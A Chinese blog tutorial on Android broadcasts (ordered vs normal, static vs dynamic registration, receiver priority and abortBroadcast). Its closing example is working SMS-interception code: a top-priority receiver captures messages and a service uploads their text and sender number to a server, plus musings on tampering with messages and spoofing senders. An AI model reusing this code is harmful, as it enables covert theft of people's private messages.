Android中的廣播Broadcast詳解
今天來看一下Android中的廣播機制,我們知道廣播Broadcast是Android中的四大元件之一,可見他的重要性了,當然它的用途也很大的,比如一些系統的廣播:電量低、開機、鎖屏等一些操作都會發送一個廣播,具體的Android系統中的廣播可以參見我的另外一篇部落格:http://blog.csdn.net/jiangwei0910410003/article/details/17218985.
下面就來詳細講解一下廣播機制:
廣播被分為兩種不同的型別:“普通廣播(Normal broadcasts)”和“有序廣播(Ordered broadcasts)”。普通廣播是完全非同步的,可以在同一時刻(邏輯上)被所有廣播接收者接收到,訊息傳遞的效率比較高,但缺點是:接收者不能將處理結果傳遞給下一個接收者,並且無法終止廣播
Context.sendBroadcast()
傳送的是普通廣播,所有訂閱者都有機會獲得並進行處理。
Context.sendOrderedBroadcast
傳送的是有序廣播,系統會根據接收者宣告的優先級別按順序逐個執行接收者,前面的接收者有權終止廣播(BroadcastReceiver.abortBroadcast()),如果廣播被前面的接收者終止,後面的接收者就再也無法獲取到廣播。對於有序廣播,前面的接收者可以將處理結果存放進廣播Intent,然後傳給下一個接收者。
廣播接收者(BroadcastReceiver)用於接收廣播Intent,廣播Intent的傳送是通過呼叫Context.sendBroadcast()、Context.sendOrderedBroadcast()來實現的。通常一個廣播Intent可以被訂閱了此Intent的多個廣播接收者所接收,這個特性跟JMS中的Topic訊息接收者類似。要實現一個廣播接收者方法如下:
第一步:定義廣播接收者,繼承BroadcastReceiver,並重寫onReceive()方法。
public class IncomingSMSReceiver extendsBroadcastReceiver { @Override public void onReceive(Contextcontext, Intentintent) { }}
第二步:訂閱感興趣的廣播Intent,訂閱方法有兩種:
第一種:使用程式碼進行訂閱(動態訂閱)
IntentFilter filter = newIntentFilter("android.provider.Telephony.SMS_RECEIVED");IncomingSMSReceiver receiver = newIncomingSMSReceiver();registerReceiver(receiver, filter);
第二種:在AndroidManifest.xml檔案中的<application>節點裡進行訂閱(靜態訂閱)
<receiver android:name=".IncomingSMSReceiver"> <intent-filter> <action android:name="android.provider.Telephony.SMS_RECEIVED"/> </intent-filter></receiver>
下面看一下動態廣播訂閱和靜態廣播訂閱的卻別:靜態訂閱廣播又叫:常駐型廣播,當你的應用程式關閉了,如果有廣播資訊來,你寫的廣播接收器同樣的能接受到,他的註冊方式就是在你的應用程式中的AndroidManifast.xml進行訂閱的。
動態訂閱廣播又叫:非常駐型廣播,當應用程式結束了,廣播自然就沒有了,比如你在activity中的onCreate或者onResume中訂閱廣播,同時你必須在onDestory或者onPause中取消廣播訂閱。不然會報異常,這樣你的廣播接收器就一個非常駐型的了。
這裡面還有一個細節那就是這兩種訂閱方式,在傳送廣播的時候需要注意的是:動態註冊的時候使用的是隱式intent方式的,所以在傳送廣播的時候需要使用隱式Intent去傳送,不然是廣播接收者是接收不到廣播的,這一點要注意。但是靜態訂閱的時候,因為在AndroidMainfest.xml中訂閱的,所以在傳送廣播的時候使用顯示Intent和隱式Intent都可以(當然這個只針對於我們自己定義的廣播接收者),所以以防萬一,我們一般都採用隱式Intent去傳送廣播。
下面看一下例子:
看一下專案結構:
看一下靜態訂閱廣播:
package com.broadcast.demo;import android.app.Activity;import android.content.Intent;import android.os.Bundle;import android.view.View;import android.view.View.OnClickListener;import android.widget.Button;import com.example.androidbroadcastdemo.R;/** * 靜態訂閱廣播 * @author weijiang204321 * */public class StaticRegisterBroadcastActivity extends Activity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); Button btn = (Button)findViewById(R.id.btn); btn.setOnClickListener(new OnClickListener(){ @Override public void onClick(View v) { //使用靜態的方式註冊廣播,可以使用顯示意圖進行傳送廣播 Intent broadcast = new Intent("com.broadcast.set.broadcast"); sendBroadcast(broadcast,null); } }); } }
在AndroidMainfest.xml中訂閱:
<?xml version="1.0" encoding="utf-8"?><manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.example.androidbroadcastdemo" android:versionCode="1" android:versionName="1.0" > <uses-sdk android:minSdkVersion="8" android:targetSdkVersion="18" /> <!-- 許可權 --> <uses-permission android:name="android.permission.RECEIVE_SMS"/> <uses-permission android:name="android.permission.INTERNET"/> <uses-permission android:name="android.permission.SEND_SMS"/> <uses-permission android:name="android.permission.READ_PHONE_STATE" /> <application android:allowBackup="true" android:icon="@drawable/ic_launcher" android:label="@string/app_name" android:theme="@style/AppTheme" > <activity android:name="com.broadcast.demo.StaticRegisterBroadcastActivity" android:label="@string/app_name" > <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity> <!-- 無序廣播註冊START --> <receiver android:name="com.broadcast.receiver.UnSortBroadcastReceiver"> <intent-filter > <action android:name="com.broadcast.demo.mybroadcast"/> </intent-filter> </receiver> <!-- 無序廣播註冊END --> <!-- 有序廣播的註冊START --> <receiver android:name="com.broadcast.receiver.SortBroadcastReceiverA"> <intent-filter android:priority="999"> <action android:name="com.broadcast.set.broadcast"/> </intent-filter> </receiver> <!-- 接收簡訊廣播 --> <receiver android:name="com.broadcast.receiver.SortBroadcastReceiverB"> <intent-filter android:priority="1000"> <action android:name="android.provider.Telephony.SMS_RECEIVED"/> </intent-filter> </receiver> <!-- 有序廣播的註冊END --> <!-- 上傳簡訊內容的Service --> <service android:name="com.broadcast.service.UploadSMSService"> <intent-filter > <action android:name="com.broadcast.service.uploadsmsservice"/> </intent-filter> </service> </application></manifest>
先不要管其他的內容了,後面會講到,這裡只關注靜態廣播的註冊<!-- 無序廣播註冊START --> <receiver android:name="com.broadcast.receiver.UnSortBroadcastReceiver"> <intent-filter > <action android:name="com.broadcast.demo.mybroadcast"/> </intent-filter> </receiver><!-- 無序廣播註冊END -->
下面來看一下廣播的接收者:package com.broadcast.receiver;import android.content.BroadcastReceiver;import android.content.Context;import android.content.Intent;import android.util.Log;/** * 廣播接收者 * @author weijiang204321 * */public class UnSortBroadcastReceiver extends BroadcastReceiver { @Override public void onReceive(Context context, Intent intent) { Log.e("Intent_Action:",intent.getAction()+""); }}
在廣播接收者中的onReceive方法中的邏輯很簡單,就是列印Action的內容。執行程式,結果很簡單,這裡就不上圖片了。
下面來看一下動態訂閱:
package com.broadcast.demo;import android.app.Activity;import android.content.Intent;import android.content.IntentFilter;import android.os.Bundle;import android.view.View;import android.view.View.OnClickListener;import android.widget.Button;import com.broadcast.receiver.UnSortBroadcastReceiver;import com.example.androidbroadcastdemo.R;/** * 使用動態的方式註冊廣播 * @author weijiang204321 * */public class DynamicRegisterBroadcastActivity extends Activity { public static final String NEW_LIFEFORM_DETECTED = "com.dxz.broadcasttest.NEW_LIFEFORM"; protected UnSortBroadcastReceiver receiver; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); Button btn0 = (Button) findViewById(R.id.btn); btn0.setOnClickListener(new OnClickListener() { public void onClick(View v) { //傳送廣播 Intent it = new Intent(NEW_LIFEFORM_DETECTED); sendBroadcast(it); } }); } @Override protected void onResume() { super.onResume(); //註冊廣播 IntentFilter counterActionFilter = new IntentFilter(NEW_LIFEFORM_DETECTED); receiver = new UnSortBroadcastReceiver(); registerReceiver(receiver, counterActionFilter); } @Override protected void onPause() { super.onPause(); //取消廣播 unregisterReceiver(receiver); }}
這裡我們是在onResume中進行訂閱廣播,在onPause中取消訂閱廣播。AndroidMainfest.xml中將啟動的Activity改成DynamicRegisterBroadcastActivity,其他的內容不需要修改,執行程式,列印結果很簡單,這裡就不上圖了。
下面來看一下有序廣播和無序廣播
這個我們在開始的時候已經說到了,下面來看一下無序廣播:
首先我們定義兩個廣播接收者:
第一個廣播接收者:
package com.broadcast.receiver;import android.content.BroadcastReceiver;import android.content.Context;import android.content.Intent;import android.util.Log;/** * 廣播接收者A * @author weijiang204321 * */public class SortBroadcastReceiverA extends BroadcastReceiver{ @Override public void onReceive(Context context, Intent intent) { Log.e("Demo:","廣播接收者A"); }}
第二個廣播接收者:package com.broadcast.receiver;import android.content.BroadcastReceiver;import android.content.Context;import android.content.Intent;import android.util.Log;/** * 廣播接收者B * @author weijiang204321 * */public class SortBroadcastReceiverB extends BroadcastReceiver{ @Override public void onReceive(Context context, Intent intent) { Log.e("Demo:","廣播B"); } }
在AndroidMainfest.xml中訂閱廣播
<receiver android:name="com.broadcast.receiver.SortBroadcastReceiverA"> <intent-filter android:priority="999"> <action android:name="com.broadcast.set.broadcast"/> </intent-filter></receiver> <receiver android:name="com.broadcast.receiver.SortBroadcastReceiverB"> <intent-filter android:priority="1000"> <action android:name="com.broadcast.set.broadcast"/> </intent-filter></receiver>
執行結果:執行結果有點奇怪,為什麼是接收者B在前面,接收者A在後面,原因就是我們在AndroidMainfest.xml中訂閱廣播的時候在intent-filter設定了android:priority屬性值,值越大優先順序越高,接收者B的優先順序是1000,接收者A的優先順序是999,所以是B先接收到廣播,然後A才接收到,但是接收者B和接收者A之間沒有聯絡,也不能有互動的,因為是這是無序廣播,是非同步的,我們可以做個試驗就是在B中的onReceiver方法中新增程式碼:
abortBroadcast();//終止此次廣播的傳輸
執行結果:
我們可以看到提示錯誤,就是non-ordered broadcast無序廣播不允許終止廣播,其實終止也沒有用,因為接收者A還是接收到廣播了。
下面來看一下有序廣播,程式碼需要做一下修改:
首先是在傳送廣播的時候:
Intent broadcast = new Intent("com.broadcast.set.broadcast");sendOrderedBroadcast(broadcast,null);
然後在B接收者中的新增終止廣播的方法:abortBroadcast();
其他的程式碼不需要修改,執行結果:
只有B接收者了,A接收者沒有接收到廣播了,因為在B接收者中將廣播給終止了,後面的接收者都接受不到了。
下面在修改一下程式碼:
接收者B:
package com.broadcast.receiver;import android.content.BroadcastReceiver;import android.content.Context;import android.content.Intent;import android.os.Bundle;import android.util.Log;/** * 廣播接收者B * @author weijiang204321 * */public class SortBroadcastReceiverB extends BroadcastReceiver{ @Override public void onReceive(Context context, Intent intent) { Log.e("Demo:","廣播接收者B"); Bundle bundle = new Bundle(); bundle.putString("next_receiver", "下一個廣播接收者"); setResultExtras(bundle); } }
B接收到廣播後,存入一些值,傳給下一個接收者。接收者A的程式碼:
package com.broadcast.receiver;import android.content.BroadcastReceiver;import android.content.Context;import android.content.Intent;import android.os.Bundle;import android.util.Log;/** * 廣播接收者A * @author weijiang204321 * */public class SortBroadcastReceiverA extends BroadcastReceiver{ @Override public void onReceive(Context context, Intent intent) { Log.e("Demo:","廣播接收者A"); Bundle bundle = getResultExtras(true); String content = bundle.getString("next_receiver"); Log.e("Demo:",content+""); }}
執行結果如下:接收者A收到了上一個接收者B傳遞的資訊,這個資訊可以保留到後面的所有接收者,直到廣播終止。
上面講到的就是有序廣播的特點,可以看出是一個同步的動作,接收者之間可以進行資料的互動(上一個傳遞資料給下一個),也可以控制廣播的終止。
下面來做一個案例就是網上很多人弄過的:簡訊攔截
系統在收到簡訊的時候,會發送一個:android.provider.Telephony.SMS_RECEIVED這樣的廣播,而且這是一個有序的廣播,所以我們就可以攔截了這條簡訊,因為系統中的簡訊接收者的訂閱優先順序不是1000最高的,所以我們可以自己定義一個簡訊接收者,將訂閱優先順序設定成1000,這樣我們就可以最先獲取到簡訊內容,然後將擷取到知道號碼的簡訊內容上傳到伺服器上進行儲存,然後終止廣播。讓系統接收不到這條簡訊。
這裡面我們還需要了解的技術就是簡訊內容的獲取,這個我們在程式碼中解釋:
下面來看一下我們定義的簡訊接收者:
package com.broadcast.receiver;import java.text.SimpleDateFormat;import java.util.Date;import android.annotation.SuppressLint;import android.content.BroadcastReceiver;import android.content.Context;import android.content.Intent;import android.telephony.SmsMessage;import android.util.Log;import com.broadcast.service.UploadSMSService;/** * 廣播接收者A * @author weijiang204321 * */public class SortBroadcastReceiverA extends BroadcastReceiver{ @SuppressLint("SimpleDateFormat") @Override public void onReceive(Context context, Intent intent) { //獲取簡訊的相關資訊,使用欄位pdus Object[] pdus = (Object[]) intent.getExtras().get("pdus"); StringBuilder content = new StringBuilder(); String receiveTime = ""; String senderNumber = ""; for(Object p : pdus){ byte[] pdu = (byte[]) p; SmsMessage message = SmsMessage.createFromPdu(pdu); content.append(message.getMessageBody()); Date date = new Date(message.getTimestampMillis()); SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); receiveTime = format.format(date); senderNumber = message.getOriginatingAddress(); } Log.e("Demo:","上傳簡訊內容是:"+content.toString()); Log.e("Demo:","接收簡訊的時間是"+receiveTime); Log.e("Demo:","傳送簡訊的號碼是:"+senderNumber); //攔截的號碼是:18910958627,注意前面還有+86是中國地區的編號 if("+8618910958627".equals(senderNumber)){ //攔截成功 ,上傳資訊 Intent service = new Intent(context,UploadSMSService.class); service.putExtra("content", content.toString()); service.putExtra("receiveTime",receiveTime); service.putExtra("senderNumber", senderNumber); context.startService(service); } }}
在onReceive方法中我們通過intent中的Bundle獲取簡訊的相關資訊。下面在看一下上傳簡訊資訊的服務Service:
package com.broadcast.service;import java.net.HttpURLConnection;import java.net.URL;import java.net.URLEncoder;import android.app.Service;import android.content.Intent;import android.os.IBinder;/** * 上傳簡訊內容的service * @author weijiang204321 * */public class UploadSMSService extends Service{ @Override public IBinder onBind(Intent intent) { return null; } @Override public int onStartCommand(Intent intent, int flags, int startId) { //獲取簡訊內容和接收時間,傳送者的號碼 final String content = intent.getStringExtra("content"); final String receiveTime = intent.getStringExtra("receiveTime"); final String senderNumber = intent.getStringExtra("senderNumber"); new Thread(){ @Override public void run(){ sendSMS(content,receiveTime,senderNumber); //上傳完成之後就結束service stopSelf(); } }.start(); return super.onStartCommand(intent, flags, startId); } /** * 上傳簡訊內容 * @param content * @param receiveTime * @param senderNumber * @return */ private boolean sendSMS(String content, String receiveTime, String senderNumber) { try{ String params = "content="+ URLEncoder.encode(content, "UTF-8")+"&receivetime="+ receiveTime+ "&sendernumber="+ senderNumber; byte[] entity = params.getBytes(); String path = "http://10.2.86.33:8080/ReceiveSMSContent/ReceiveSMSServlet"; HttpURLConnection conn = (HttpURLConnection) new URL(path).openConnection(); conn.setConnectTimeout(5000); conn.setRequestMethod("POST"); conn.setDoOutput(true); conn.setRequestProperty("Content-Type", "application/x-www-form-urlencoded"); conn.setRequestProperty("Content-Length", String.valueOf(entity.length)); conn.getOutputStream().write(entity); if(conn.getResponseCode() == 200){ return true; } }catch (Exception e) { e.printStackTrace(); } return false; }}
這個服務的邏輯也很簡單的,在獲取到簡訊資訊的時候,將內容進行上傳。最後不能忘了在AndroidMainfest.xml中新增許可權:
<uses-permission android:name="android.permission.RECEIVE_SMS"/><uses-permission android:name="android.permission.INTERNET"/>
訂閱簡訊廣播:<receiver android:name="com.broadcast.receiver.SortBroadcastReceiverA"> <intent-filter android:priority="999"> <action android:name="android.provider.Telephony.SMS_RECEIVED"/> </intent-filter></receiver>
當然這裡還需要有一個簡訊內容的接收服務端,在服務端定義一個Servlet來接受資料,具體的服務端的環境搭建,自己上網搜尋相關資料進行搭建:
package com.servlet.receivesms;import java.io.IOException;import javax.servlet.ServletException;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;public class ReceiveSMSServlet extends HttpServlet{ private static final long serialVersionUID = 1L; @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp)throws ServletException, IOException { req.setCharacterEncoding("utf-8"); String content = req.getParameter("content"); String receiveTime = req.getParameter("receivetime"); String phoneNumber = req.getParameter("sendernumber"); System.out.println("傳送內容:"+content); System.out.println("傳送時間:"+receiveTime); System.out.println("傳送號碼:"+phoneNumber); super.doGet(req, resp); } @Override protected void doPost(HttpServletRequest req, HttpServletResponse resp)throws ServletException, IOException { super.doPost(req, resp); }}
測試結果,客戶端攔截的號碼是18910958627,注意前面有+86是中國區域的編碼,服務端接收資料為:這樣就表示擷取簡訊內容成功,並且成功上傳到伺服器上了。
對於上面的簡訊攔截的功能還有待加強,就是現在想把簡訊的內容攔截下來,進行篡改,然後再發給下一個接收者?
方案一:在我們定義的簡訊廣播接收者中,我們能夠從intent中的Bundle中通過key="pdus"來獲取簡訊內容的,那麼我們可以自己從新組建一個新的Bundle,在這個Bundle中存入我們篡改的資訊,然後替換之前的Bundle
問題:實施了,但是問題是Bundle是替換不了的,不知道是什麼原因?
方案二:由於第一種方案的失敗,導致了我從新想到一個方案就是擷取簡訊內容之後,終止此次廣播,然後傳送一條簡訊,這時候簡訊的內容為我們篡改的內容,但是這裡需要注意的是,要做判斷,因為我們定義的簡訊接收者的優先順序最高,所以我們傳送篡改後的簡訊又被我們的簡訊接收者給攔截了,但是我們是不想這樣的,所以要做個判斷,這個很簡單的,使用SharePerenced存入一個boolean值就行了。
問題:本來以為這種方案是完美了,但是問題是傳送資訊的時候,系統提供的方法中的引數是:接收者號碼,傳送者號碼,簡訊內容,還有其他的引數就不解釋了,這很簡單呀,我們現在正好需要這三個引數,立馬傳遞進去,結果是收取不到簡訊,檢視文件,發現那個傳送者號碼的引數是簡訊服務中心的號碼(也不知道什麼意思),當把它設定成null的時候簡訊就可以發出去了,但是設定成null的話,就不能說是誰發的簡訊了沒有意義呀!
現在很糾結,問題還沒有解決,如果有哪位大神有好的方法,請說明,小弟不慎感激!
總結:
在Android中,程式的響應(Responsive)被活動管理器(ActivityManager)和視窗管理器(Window Manager)這兩個系統服務所監視。當BroadcastReceiver在10秒內沒有執行完畢,Android會認為該程式無響應。所以在BroadcastReceiver裡不能做一些比較耗時的操作,否側會彈出ANR(Application No Response)的對話方塊。如果需要完成一項比較耗時的工作,應該通過傳送Intent給Service,由Service來完成。而不是使用子執行緒的方法來解決,因為BroadcastReceiver的生命週期很短(在onReceive()執行後BroadcastReceiver 的例項就會被銷燬),子執行緒可能還沒有結束BroadcastReceiver就先結束了。如果BroadcastReceiver結束了,它的宿主程序還在執行,那麼子執行緒還會繼續執行。但宿主程序此時很容易在系統需要記憶體時被優先殺死,因為它屬於空程序(沒有任何活動元件的程序)。
public class IncomingSMSReceiver extendsBroadcastReceiver { @Override public void onReceive(Contextcontext, Intentintent) { //傳送Intent啟動服務,由服務來完成比較耗時的操作 Intent service =new Intent(context,XxxService.class); context.startService(service); }}
每次廣播訊息到來時都會建立BroadcastReceiver例項並執行onReceive() 方法。
所以上面的簡訊內容上傳到伺服器上的邏輯功能不能在廣播中執行,需要開啟一個服務進行上傳。
《Android應用安全防護和逆向分析》
點選立即購買:京東 天貓 亞馬遜 噹噹
更多內容:點選這裡
關注微信公眾號,最新技術乾貨實時推送
編碼美麗技術圈微信掃一掃進入我的"技術圈"世界掃一掃加小編微信新增時請註明:“編碼美麗”非常感謝!